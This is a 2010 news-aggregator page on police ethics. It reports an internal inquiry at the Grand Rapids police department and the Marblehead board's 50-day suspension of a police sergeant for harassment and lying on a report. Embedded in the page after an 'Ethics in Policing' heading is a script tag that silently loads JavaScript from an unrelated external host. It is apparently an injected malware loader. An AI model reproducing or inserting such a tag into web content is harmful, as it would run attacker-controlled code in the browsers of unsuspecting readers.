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NEWS > 25 February 2010

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GRPD investigates on-duty misc
GRAND RAPIDS - Several male police officers are on paid leave, and a female police dispatcher is off the job as an investigation into allegations of sex between on-duty officers continues.

24 Hour News 8 first brought the incident to light on Friday night when GRPD Chief Harry Dolan issued a statement confirming an internal investigation of on-duty misconduct not involving the public.

24 Hour News 8 confirmed the dispatcher in question is married to a GRPD officer, though they are in the process of divorcing and living apart.

Court documents obtained by 24 Hour... Read more

 Article sourced from

Ethics in Policing<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
The Salem News
25 February 2010
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To view it in its entirity click this link.
Ethics in Policing

Marblehead officer suspended i

Police Sgt. Marion Keating was handed a 50-day suspension without pay last night by a unanimous Board of Selectmen.

Keating was unsmiling after the board agreed to follow a recommendation by Town Administrator Tony Sasso. Her lawyer, Stephen Pfaff, vowed to seek arbitration or an appeal before the Civil Service Commission.

"I think it's absurd," Pfaff said. He said he'd been unable to find an instance in the history of the town where any police officer had gotten such a severe punishment.

All this stems from an incident last December where Keating was charged with sexually harassing fellow officer Michael Daigle by joking in crude terms, twice, that he was seeking an intimate relationship with Assistant District Attorney Emily Tarr.

At the time, Tarr, Daigle, Keating and Sgt. Donald Decker were engaged in a conversation apparently rife with vulgarities.

Prior to voting, selectmen Chairwoman Jackie Belf-Becker said the board was not holding a hearing and not seeking new facts. Rather, they had only the choice of accepting the judgment of their "finder of facts," Sasso, who held a hearing last Friday.

At that time, Keating had denied making the statement regarding Daigle and Tarr. Her lawyer also raised the fact that all this happened just as Keating settled a sex-discrimination claim against the town.

Sasso wrote, "I find ... Tarr a credible, neutral, non-biased witness who showed no preference towards Officer Daigle or Sgt. Keating. ... I discredit and find unreliable the testimony of Sgt. Keating."

Both Tarr and Decker supported Daigle's version of the conversation.

Sasso referenced a report by Keating denying the charge, when he noted that lying on a police report could lead to termination. Instead, he recommended a 30-day suspension for lying, 10 days for conduct unbecoming an officer and another 10 days for sexual harassment.

"As much as I wish this issue had been handled at the Police Department and never reached us," Selectman Judy Jacobi said, "... The accusations against Sgt. Keating are justified."

The board quickly agreed to accept Sasso's determination of the facts and then gave Keating a chance to speak, before voting on the punishment. She complained that Tarr, before she prepared her own report on the incident, had been shown Daigle's.

"It borders on police misconduct to let witnesses read each other's testimony," she said. "It taints the process." Asked to produce a report on the incident, Keating said that at first, "I had no recollection of it." Thus, she only promised to respond "to the best of my ability."

She disputed the notion that Daigle was offended, saying he had made comments in the past "where I had to leave the room."

Both Jacobi and Selectman Bill Woodfin said they'd heard from plenty of residents. Woodfin said he would make his decision regardless "of what people say on the street."

Jacobi offered a plea, also reflected in Sasso's report, that police Chief Robert Picarillo should rein in the profanity at the station. After the meeting ended, Pfaff saw this as a contradiction, noting that Sasso had cast doubt on Keating's claim that vulgar language is common at the station.

Keating's suspension begins today, although, as of last night, she was appealing to town officials to have the unpaid days broken up in order to ease her financial distress.
 

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